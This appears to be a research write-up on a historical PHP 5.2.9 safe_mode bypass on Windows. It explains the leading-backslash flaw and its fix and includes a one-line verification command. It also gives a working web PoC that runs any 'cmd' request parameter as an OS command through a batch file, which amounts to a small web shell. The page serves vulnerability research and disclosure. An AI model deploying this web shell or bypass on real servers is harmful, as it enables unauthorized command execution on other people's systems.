PHP <= 5.2.9 Safe Mode Bypass on Windows
This is a historical proof of concept for a Windows-specific safe_mode bypass reported against PHP 5.2.9 and earlier. Prefixing a command with a backslash could confuse the old safe-mode command-path construction and still leave Windows with an executable command. PHP tracked the flaw as bug #45997 and fixed it in the PHP 5.2.10 code line.[3][4]
This is not a generic disable_functions bypass. PHP removed safe_mode in version 5.4.0, and all affected PHP releases are obsolete. Keep the example only for legacy research environments.[2]
[!WARNING] The proof of concept executes the
cmdrequest parameter as an operating-system command. Run it only in an isolated, disposable lab.
Preconditions and triage
The primitive is narrowly scoped; check the environment before trying the file-backed PoC:[3][4]
- The target must be a Windows PHP build from the affected legacy line (PHP 5.2.9 or earlier).
safe_modemust be enabled. The known primitive assumessafe_mode_exec_diris empty or otherwise does not rewrite the command into a valid allowed executable.- At least one affected entry point—
exec(),system(), orpassthru()—must still be callable. Ifexecis also present indisable_functions, the PoC below cannot reach the vulnerable logic. - The attacker must already be able to execute PHP. The batch-file variant additionally needs a writable current directory, and the child process only receives the web-server account’s Windows permissions.
A compact PHP 5.2-compatible preflight is:
<?php
var_dump(PHP_OS, PHP_VERSION);
var_dump(ini_get('safe_mode'), ini_get('safe_mode_exec_dir'));
var_dump(ini_get('disable_functions'));
?>
Why the leading backslash works
In the vulnerable php_exec() path, PHP split the executable from its arguments, rejected .., found the last platform directory separator, and then combined that suffix with safe_mode_exec_dir. If the command began with \, the separator pointer was the start of the string; with an empty execution directory, the command therefore reached the Windows process launcher as \command. The PHP 5.2.10 fix explicitly rejects this case when the first byte is a backslash and returns Invalid absolute path. instead.[3][4]
The shared code path explains why the primary report names exec(), system(), and passthru(). Do not automatically extend the claim to every process API.[3][4]
Minimal verification
The original PHP report used ping. Point it at loopback and request one packet for a self-contained check from a Windows command prompt in a disposable PHP 5.2 lab:[3]
php -n -d safe_mode=on -d safe_mode_exec_dir= -r "exec('\ping -n 1 127.0.0.1', $out, $rc); var_dump($rc, $out);"
On an affected build, the leading-backslash form executes under the current PHP/web-server identity. On PHP 5.2.10, it should fail with the new invalid-path warning. An empty result on an old build is not automatically proof of patching: first check disable_functions, safe_mode_exec_dir, PATH, and the service account’s process-creation permissions.[3][4]
File-backed web PoC
The following Abysssec variant creates a batch file, starts it through the same leading-backslash primitive, and reads redirected output from disk.[1]
exploit.php
<?php
// Historical Abysssec proof of concept; use only in an isolated legacy lab.
$cmd = isset($_REQUEST['cmd']) ? $_REQUEST['cmd'] : '';
if ($cmd !== '') {
$batch = fopen('cmd.bat', 'w');
fwrite($batch, $cmd . '>abysssec.txt 2>&1' . "\r\n");
fwrite($batch, 'exit' . "\r\n");
fclose($batch);
exec('\start cmd.bat');
$output = file_exists('abysssec.txt') ? file_get_contents('abysssec.txt') : '';
echo '<h1>PHP <= 5.2.9 safe-mode bypass</h1>';
echo '<textarea rows="20" cols="60">';
echo htmlspecialchars($output, ENT_QUOTES, 'UTF-8');
echo '</textarea>';
}
?>
<form method="post">
<input type="text" name="cmd">
<input type="submit" value="Run command">
</form>
cmd.bat
The PHP proof of concept creates this batch file dynamically. For a standalone lab test, its equivalent contents are:
dir > abysssec.txt 2>&1
exit